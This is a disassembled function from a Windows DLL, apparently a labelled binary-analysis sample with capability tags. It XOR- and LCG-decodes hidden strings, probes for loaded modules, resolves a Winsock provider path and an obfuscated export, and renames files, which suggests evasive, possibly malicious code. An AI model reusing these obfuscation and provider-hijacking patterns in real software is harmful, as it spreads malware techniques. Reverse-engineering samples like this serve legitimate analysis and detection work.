Function at 0x180003b1c
Capabilities:
Encode data using xor
Move file
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4d8]
sub rsp, 0x5b0
mov rbx, r9
mov r14, r8
mov r12, rdx
movzx r13d, cx
movabs rsi, 0xed19c50f4f890005
mov qword [rsp + 0x60], rsi
movabs rdi, 0xb43c09bec9bcca66
mov qword [rsp + 0x68], rdi
movabs rax, 0x80d08e2d220ffc67
mov qword [rsp + 0x70], rax
movabs rcx, 0xbb5fd10c54ab9668
mov qword [rsp + 0x78], rcx
movabs rax, 0x8e70b37d2ada4547
mov qword [rsp + 0x30], rax
movabs rax, 0xcc59278affc49503
mov qword [rsp + 0x38], rax
movabs rax, 0x80d08e2d220ffc02
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x40], xmm1
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004542
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
movabs r15, 0xb27ca86e08e57351
mov qword [rsp + 0x60], r15
movabs rax, 0xb43c6cc6ac928933
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004542
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x30], r15
movabs rax, 0xb43c6cc6ac92813c
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004542
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
movabs rax, 0x80d08e2d220ffc67
mov qword [rsp + 0x70], rax
movabs rax, 0xbb5fd10c54ab9668
mov qword [rsp + 0x78], rax
movabs rax, 0x8c7b9a7d2be56370
mov qword [rsp + 0x30], rax
movabs rax, 0xc1537bd9acd0be12
mov qword [rsp + 0x38], rax
movabs rax, 0xe5fee24a7d7c9809
mov qword [rsp + 0x40], rax
movabs rax, 0xbb5fd10c54abf310
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x40], xmm1
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004542
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x30], r15
movabs rax, 0xb43c6cc6ac928f24
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004542
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
movabs rax, 0x957ceb6c39fa6b7f
mov qword [rsp + 0x30], rax
movabs rax, 0xb43c09bec9bcca03
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004542
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
movabs rax, 0x8a7bb05f2cec7840
mov qword [rsp + 0x30], rax
movabs rax, 0xb43c09beacc4af48
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004542
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
movabs rax, 0x8e70b37d2ada4547
mov qword [rsp + 0x30], rax
movabs rax, 0xb43c09dbb1d9e403
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004542
cmp dword [r14 + 0x28], 1
jle 0x18000453b
movups xmm0, xmmword [rbx]
movups xmmword [0x180051180], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x180051190], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [0x1800511a0], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [0x1800511b0], xmm1
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [0x1800511c0], xmm0
movups xmm1, xmmword [rbx + 0x50]
movups xmmword [0x1800511d0], xmm1
movups xmm0, xmmword [rbx + 0x60]
movups xmmword [0x1800511e0], xmm0
movsd xmm1, qword [rbx + 0x70]
movsd qword [0x1800511f0], xmm1
lea rcx, [rbp - 0x70]
call fcn.1800025c0
mov rsi, rax
mov eax, dword [r14 + 0x30]
xor edx, edx
mov r8d, dword [rbp - 0x70]
test r8d, r8d
jle 0x18000453b
lea rcx, [rsi + 0x24]
mov r10d, pe_nt_image_headers64
cmp dword [rcx], eax
je 0x180003ee1
inc edx
add rcx, 0x274
cmp edx, r8d
jl 0x180003ec4
jmp 0x180003f81
movsxd rax, edx
imul rax, rax, 0x274
add rax, rsi
lea rcx, [rbp + 0x230]
mov r9d, 4
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r10
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r10
sub r9, 1
jne 0x180003efb
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
cmp edx, r8d
jge 0x18000453b
mov r15d, 0x104
mov dword [rbp - 0x6c], r15d
lea r9, [rbp - 0x68]
lea r8, [rbp - 0x6c]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x244]
call sub.WS2_32.dll_WSCGetProviderPath
or rdi, 0xffffffffffffffff
cmp eax, edi
je 0x18000453b
mov r8d, r15d
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x18000453b
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.180001d34
cmp qword [rax + 0x18], 0xf
jbe 0x180003fe9
mov rax, qword [rax]
xor edx, edx
lea r8d, [rdx + 8]
mov rcx, rax
call fcn.18000272c
mov r15, rax
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x18000403a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004035
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004035
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18002ab28
movdqa xmm0, xmmword [0x18002d630]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
nop
mov dword [rsp + 0x60], 0xc2807521
nop
mov dword [rsp + 0x64], 0x1c67aa34
nop
mov word [rsp + 0x68], 0xa27d
mov byte [rsp + 0x6a], 0x28
mov ecx, 0x1f95bd92
xor edx, edx
imul ecx, ecx, 0x343fd
add ecx, 0x269ec3
mov eax, ecx
shr eax, 0x10
xor byte [rsp + rdx + 0x60], al
inc rdx
cmp rdx, 0xb
jb 0x180004073
lea rdx, [rsp + 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp + 0x230]
cmp dword [rbp + 0x258], 1
cmovne r8, r14
movups xmm0, xmmword [rbx]
movaps xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rbx + 0x20]
movaps xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rbx + 0x30]
movaps xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x50]
movaps xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [rbx + 0x60]
movaps xmmword [rbp], xmm0
movsd xmm1, qword [rbx + 0x70]
movsd qword [rbp + 0x10], xmm1
mov rbx, qword [rbp + 0x500]
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x60]
mov rdx, r12
movzx ecx, r13w
call rax
mov r14d, eax
lea rax, [0x180000000]
lea rcx, [rax + 0x51200]
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rbx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov r8d, pe_nt_image_headers64
add rcx, r8
movups xmm1, xmmword [rbx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [r8 + rbx]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rax, [rax + 0x51400]
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rbx + 0x60]
movups xmmword [rax + 0x60], xmm0
add rax, r8
movups xmm1, xmmword [rbx + 0x70]
movups xmmword [rax - 0x10], xmm1
add rbx, r8
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rbx + 0x60]
movups xmmword [rax + 0x60], xmm0
nop
mov dword [rsp + 0x60], 0x844829cb
nop
mov dword [rsp + 0x64], 0x3532ae40
nop
mov dword [rsp + 0x68], 0xded6c9e5
mov ecx, 0x15e64542
xor edx, edx
imul ecx, ecx, 0x343fd
add ecx, 0x269ec3
mov eax, ecx
shr eax, 0x10
xor byte [rsp + rdx + 0x60], al
inc rdx
cmp rdx, 0xc
jb 0x180004240
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x18000452d
movabs r12, 0xed19c50f4f890005
mov qword [rsp + 0x60], r12
movabs r15, 0xb43c09bec9bcca66
mov qword [rsp + 0x68], r15
movabs rax, 0x80d08e2d220ffc67
mov qword [rsp + 0x70], rax
movabs r13, 0xbb5fd10c54ab9668
mov qword [rsp + 0x78], r13
movabs rax, 0x7f5b0c5b788da999
mov qword [rbp - 0x80], rax
movabs rax, 0xb1b87b5aaea9730a
mov qword [rbp - 0x78], rax
movabs rcx, 0x9e6ba07c1ad53a46
mov qword [rsp + 0x30], rcx
movabs rcx, 0xe85f60d2abc99a3a
mov qword [rsp + 0x38], rcx
movabs rcx, 0xf4beeb40576c9323
mov qword [rsp + 0x40], rcx
movabs rcx, 0xd73bff3e00e5ca1b
mov qword [rsp + 0x48], rcx
movabs rcx, 0x7f5b0c5b788da9f5
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x40], xmm1
xorps xmm2, xmmword [rbp - 0x80]
movdqa xmmword [rsp + 0x50], xmm2
lea rdx, [rsp + 0x30]
lea rbx, [0x180050030]
mov rcx, rbx
call fcn.180002e08
mov edx, 6
lea rcx, [rsp + 0x30]
call fcn.180003778
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x18000437a
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.180002d90
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1800043c5
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800043c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800043c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18002ab28
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r15
movabs rax, 0xed19c50f23e5642b
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r15
movaps xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x30]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1800043f8
mov r8, rdi
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.180002d90
cmp qword [0x180050048], 0xf
cmova rbx, qword [0x180050030]
mov qword [section..data], rbx
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r15
movabs rax, 0x80d08e2d220ffc67
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r13
movabs rax, 0x7f5b0c5b788da999
mov qword [rbp - 0x80], rax
movabs rax, 0xb1b87b5aaea9730a
mov qword [rbp - 0x78], rax
movabs rcx, 0x9e6ba07c1ad53a46
mov qword [rsp + 0x30], rcx
movabs rcx, 0xe85f60d2abc99a3a
mov qword [rsp + 0x38], rcx
movabs rcx, 0xf4beeb40576c9323
mov qword [rsp + 0x40], rcx
movabs rcx, 0xd73bff3e00e5ca1b
mov qword [rsp + 0x48], rcx
movabs rcx, 0x7f5b0c5b788da9f5
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x40], xmm1
xorps xmm2, xmmword [rbp - 0x80]
movdqa xmmword [rsp + 0x50], xmm2
lea rdx, [rsp + 0x30]
lea rbx, [0x180050050]
mov rcx, rbx
call fcn.180002e08
cmp qword [0x180050068], 0xf
cmova rbx, qword [0x180050050]
mov qword [0x180050008], rbx
mov rdx, qword [section..data]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov rcx, qword [section..data]
call fcn.180002ebc
call fcn.180002c8c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, r14d
jmp 0x180004544
mov eax, 0x277a
jmp 0x180004544
xor eax, eax
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret